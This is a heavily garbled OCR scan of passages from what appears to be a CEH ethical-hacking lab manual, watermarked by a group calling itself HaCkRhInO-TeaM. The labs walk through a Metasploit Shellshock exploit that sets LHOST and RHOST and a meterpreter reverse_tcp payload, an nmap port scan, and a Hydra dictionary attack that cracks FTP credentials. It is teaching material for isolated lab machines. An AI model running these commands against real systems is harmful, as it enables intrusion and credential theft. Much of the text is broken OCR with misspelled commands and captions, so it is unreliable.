page Yonu can view and modify the files from the target machine.
o e .

.1-“

g TeRsnid

FIGLTRE 432 Mieswiphon Meuh frog Flesytorn of 3 Tagret Machone

41, Go back o the premons page. Lannch 2 conmmand shell for the mmpet
machme by chcking Command Shell nnder Available Actions.

£+ v

Ii] rr::_:'t_as;_‘.l;_‘.l‘_'

= —

SesHon3oen 10 004
sharsaizs
ATk AA

tvmilabin dctions

Cadact Symer Oum

FIGLRE 4.3% Metophon Lanshoy Comeroen] Shell of Tagget Mackos
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42 The command line terninal appears. To view the system IP address and
other information related to netorods interfaces, enter ipeonfig fll.

| msterpester » dpoanfig fall

= bauplnly - HEmc cieaslan 18 & 4 (@ P Aesdnistwate B WIN-12

FICATRE 435 Mok Tapget Mo TP Akl 0 Metiapbont Crrmere] Shel

44 Go hack to the prevo
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45, Click Terminate Session to close the seszon, and chck OK to confirm.
.1

Craryiw Ay ':-m-n:-. Carzpmigrm et hprn Mesdalen Aepom Exporiz

Amm R R R R

W e RS ol |
g L L
=gt T e

AT EAORLE e e ]

Tl pemne Wi e wpe] s el conmyyi

FIARE &% Mgl Tresroroemg; Sedom

46. Hover the momse pomrer on the Aseount mesm. A
appears. Select Legeut.

FIGATEE 4.37: Migasolot Seomm Bl Laopgong s
47. An amacker who finds vuloemhdines in older versions of JRE can buld
suitahle exploits to break mio the system and take control

1 A 1 -

Arabyze and domment the resales mlared to the lab exercise. Give your opinion on
TOTK tarpet's Secity postee and expomae.

[0 Yes M Mo

Platform Supported

1 Classroom B fLabs

Eshical Hacking and Counsesmseasies Copyegght Oy E3-Damell
YOuR SeCuiTy iS Not EndUgh = ****"HatRRAMO-TeaM !

wE FrEE t0 FIY

CEH Lab Munis] Page 1112

HaCkRhInO-TeaM !




YOuR SeCuiTy iS NOt EnOUgh
HaCkRhInO-TeaM !

HaCkRhInO-TeaM ! Madifel 1 - Aldinl Mt vers

Lab

xploitatio

g

o R SO
| Gaining

-
I; . - - - -
ne aervel

ecriri?y Bupr far ghe Unive Bash shell, wibich gfféar Bash, a
aned

Shallrhock iz a famly of
fprogram that Seariour l_ur\'iw:aw SYITENS I F6 ENECNR? .wwm.u.'d Bner

cosmenandl g rg:m‘.

Lab Scenario
To be an ezpert ethical hacker and pen tester, yon mmst nnderstand how o test
ks

= the secnpry architecmire of @ UNIL system m arder to safepnard it from armacks

# Test you snch a3 Shellshock
Encrmiedze
i (! B3 T s o
B Wb sperpie Lab {'):‘.'.!'{:'ht't"‘r =

[ Workbook review b5 lib helps smdents learn how to:

= Test Ubmnm Server for Bash Valnerahiley
*  Exploit the minersbility and pain control over the system
La
To casry out the lab, you nead:
*  Avirmal machine maning Uhunin Server
*  Avimmal machine manme Fali Linnx
ab Drats
Lab Duration

Tame: 15 Mirmites

Eshiral Hackding aml Counsernseasmes Copreggt + EE-Coonell

119 Tl
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Overview of Shelilshock

Shellshock 13 often mstalled 35 the system’s definlt commend-lme interface. In Tnm
and other O%: that Bash soppons, each mnninp progmm has @z own lst of
name ‘valne pars called emvironment vanables. When one program stams another
propm@m. it poovides an mitial bst of enviconment varables for the newr program

Lab Tasks

In this lab, we will be nung Kali Linue and Ubuntu Server machmes.
5o, before begmnning this lab, you oeed to ensnre that you have
Launch Kali Linux lannched both the machines.
anvd Ubumi
Mao:]-line:l 2 I_.11u.1.ch the lcewgzsjel rfe-b. browser and enter the TURBRL
hitp: £ /10.0.0.4/epz-bin ‘shellshock

: TARK 1

A shellshock webpage appears, as shown in the following sereenshor

"
vl

Fie Edit Wew Higtory Boolbmarks Tools Help

http WLGO.0 4" i-banishellshock 2

=1 0 g

|4 [® 100049 + Gl (A~ . ! 1

Mozt Visted>  lOFersne Security ™S Kali Linus " Kali Docs . ERExploi-DR W Arcrack-ng

Thig 1= & demanetration af shallzbor

FMGLURE 5.1: Briswcbigg thee shaliisck slips
MNote: The TP addeess 10.0.0.4 mentioned in the TRL refers to the Ubuam
machine. This IP address might vary in yone lab eovisonment.
4 You will be vsing this URL to attack the Ubuntm machine. Mininvize or
close the web browses.
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Open a terminal console by navigating to Aecesseries -+ Terminal.
Mote: Too can also click E (the Terminal icon) in the menn bar to
lannch the

Applications . Places B e

- s

FIGURE 5.2 Laimebarg Termsirl
5. Enter the command service pastgresql start.

rootgkal -

FIGURE 5.} Sterhng postgresy] srrnce

Enter the command serviee metasplait start
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Enter the command-

use exploitimultihttp/apache_meod_egi_bash_env_sxee.

This will ser the exploit multihttplapache med_cgi_bash_env_exes.

proxy plvetingd Upgrede ta.layar-2 YFW pdweting with

WGre an NTLE A Feplad? . ondreTasplod
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10. Enter the following commands:
sef LHOST 10.0.0.7
set RHOST 10.0.0.4
sef TARGETVURI /egi-kin'shelisheck
set paylead linux/'x86/meterpreterireverse_tep
f ker machine (Kali Linuo)
s 1o the [P address machine (Ubuntu). Both

s may vacy in your lab environment.

762 muxiliary
I encaders -

T Pro 1

FIGLEE A7: 54

11. Yom have zet all the required options to perform explotation.

By issuing the exploit command the Uboatu server
will be hacked instantly and come nader the
control of the victim machine.

13. Enter explait.

FIGURE 5 Terfimsy, Eaplitataon
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hown i the fo

located m the machine; delete,
to and from the machme; execute
teract with those proce

Enter sysinfe. This displays the mformation for the metim (Ubnam)
chine. as shown in the following

e

gararic #25-pr
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17. Enter help. This lists all the commands that can be ismed through the
Meterprates conso

, a5 shown 1n the following screenshot:

Halp maru
Backar
Eilla
Lists rurning batkg
Exacutas a metarprater s &5 a packgraund thr
Pispla infomatlon about actlve
Loae

charnels
disable wnidrc

je e cadlng f unicede strlngs
10 of unlcoda strings
s neterpratar

arcodirg

sessian

ACHvINes.

Docnmens the outpot.

O ¥es
Platform Supported
! Classtoom

(ZEH Lab M 135 Eshical Hacking sml
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irformation
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Lab

A devianary attack bypasser the anthentication mechanizn engbloyed in a pasmvord:
frotaded machine !r. frying mumerons combmations of iz,a-:af:'.r present i a
dictianary fike

[ o i =
LAk >Cenano

In this phase of websesrer hacking, an artacker tnes to crack websamer passomeds.
An atrackes tres all pq:r'-'.i'l:lle techimqmes of p:mn'ou:l cracking to exrmer passwonds,
mcnding Pn;:ﬁm\d puessing, dictionary attacks, homse force attacks, by beid armecks,

Imomradge pre—compited hazhes  mie-bazed attacks, distibrted metwork attacks, rinhow

= TWrh exercme

] Woddosk revien

amzcks, ete. An aracker needs patience, a5 some of these techniqnes are edions and
time-consnmmg. An attacker can also nse anzoonated toals snch as Booms, THC-
Hydm, ete. to crack web passwonds.

The alyective of this lab 1= to help the smdents how to:
1 Perform omap scan o find whether an fip post i= oper
b. Perform a dicnonary artack nang hydm

1 - S "
Lab Environment

To pecform the lah, yon nesd:
* A compnter mamoe Wandows Server 2012

Windows 8.1 mnnmg 3= 3 wirtmal machine

Eali Lanves ponneng as a wirtnal machine

mration

Tame: 10 Miontes

CEH La®h Manusl Py
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ds that are used by passwosd
em Dictionary
crdinary woods as

eginning this lab, lanach the Windows 8.1 wirmal machine
h‘-‘-m H',rper-‘h’ Manager and lopin
2 Launch the Kali Linux virmal machine from Hyper-V Manager and log
Double-click Computer on the Deshtep.

Sat Apr 11, 1048 AM

FRGL 6.0: Eaanch Cromynuter

Erase 2 4 The Computer window appears. Click Go from the menn bar and select
Laeation....

Capy Werdlists -
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5. Enter smibel[IP address of Windews Server 2012] in the Go Te field

Note: In thiz Iab, the TP Addsess of Windows Server 2012 i= 10.0.0.2 .
This TP Address might vary in yonr lab eorimonment.

T Lt

Device 2
evices R

Comguts

FIGURE &% Connect Thengh Samba Sooe

MNote: If yon are prompted to enter credentials, trpe those credentials, click
Bemember forever, and click Connect

If you are noable to connect to the semver, lannch a command line teominal,
izsne the iptables ~flush command and then redo Step 5.

6. A vwndow appears displaymng the CEH-Teels chared netoodk domre

Windews shates on 100002 l
|

Boekrmarks  Help

= o » u\‘

Canrigs Lt
[=]

FIGURE & 4: CFEH- Tesdls Seeared Nishonck Do
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Mamigate to CEH-Teels - CEHvY Medule 11 Hacking Webkserver and
copy the Werdlists folder

CEHvR Madule 11 Hacking Webserver

— i— e |
FIGARE A5 Copranyg Womlhiss Fokler
B. Go to Desktsp, click Plases from the mesm bar, and zelect Home
Falder.

FIGALRE &6: Sefectog Hiome Folle
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Paste the Werdlists directory in this location.

Hioir

FIGETRE &7 Pasey Wandues Fokder

10. Perform an nmap scan on the target machin
the FIP portis open

11. Lannch 2 command line terminal and enter nmap -p 21 [IP Address of
Windeows 2.1].

Mote: In this lab, the IP Address of Windews 8.1 iz 10.000.8. This address
might vary in your lab enviconment.

WAE Addrees: GFI1S:S0CICIEEIRE (M1c rasaTt)

Wmap dora: 1 1P addrass {1 hest up) scanrad in B 16
g

FIGUIRE & R Perfrming Mg Past Sicen
serve that port 21 is open in Windows £.1.
13. Check if an FTP serm d on the Win .1 machmne.
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14. Enter fip [IP Address of Windews 8.1] You wil be prompted to enter
dentials, which imples that an FIP server is hosted on the
and requires credentials,

ocds i an attempt tor gain fip

MNote: The password you enter will not be wisible.

rost@inesal: =

FEGLEE 6.00 Test Lig In

16. Perform an attack on the FTP server in an attampt to pain access 1o 4t

Bl 17. This lab nses hyde

Perform 15. Cypen a command line termmal
Dictionary Attack
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19. Enrter hydra -L irestWerdlistsUsernames.tut -F
irectWerdlists/Passwords. tut fipe([IP Address of Windows 8.1]

MNote: The TP Address of Windews 8.1 in this b is 10.0.0.4, This TP

Address mught vary in your lab environment

ro-otEl|

FICIUTRE &18: Atk the FTP Serves

20. Hydra begans to try vanons combinations of wsernames and passw

and stams displaping the cracke
the following shot:

roat@iroot =

ra| starting st S815-Bd-1L B4:17:24
gin trias {1:235/p:178], 2458 tries car task
art 1l

pasEward

FIGLTRE 6.02: Hydbra Conclergr Ll Craderialy
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21. On comgpletion of password eracking, the cracked credentials appear as

followng sereenshot:

roatfliroot <

sl i 1]
PasEadrd:

PaEsSHara:

[olr ]

FIGLURE 613

Try to log in to the fip s g
combinations. In this lab, nse MMartn'

Hrask s

Access the FTP
Server Remotely

[IUTRE 614 Ligg

CEH Lah M Page 1133 Eshiral Hacking amd

HaCkRhInO-TeaM ! YOuR SeCuiTy iS Not EnQUgR™ ™™ "™ RaCRRRMD-TeaM !
wE FrEE t0 FIY




YOuR SeCuiTy iS NOt EnOUgh
HaCkRhInO-TeaM ! ModideHi1 = Asdini vt HaCkRhInO-TeaM !

26, Remotely access the FIP secver hosted on the Windows 8.1 machine.

27. Enter mkdir Hacked to create a directory named Hacked throngh the
frp termenal

roatfireet =

FIGLURE 6.15: Crisetegg 2 Dirvctiory
28. Swarch to the Windows 8.1 wurmal machine and nawigate to C:\FIF.

29 View the directory named Hacked as shown in the following
screenshor

FIGURE & l: Wirmnng the Cried Dhmcsony o Windows 81

30. You have smccessflly pained remote access to the FIP secver by
obtaining the credentials.

3. Fwitch back to the Kali Linux virtnal machine.
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J2. Enter help to view all the other commands which you can nse throngh

the FTP ternzinal.

Craated.

4 sbbreviated.

b, enter quit to exit the FIF terminal

roct@iroot; =

aaleh  Tarmina

34. Ton have pained remote ac

O Yes

Platform Supported
Classroom
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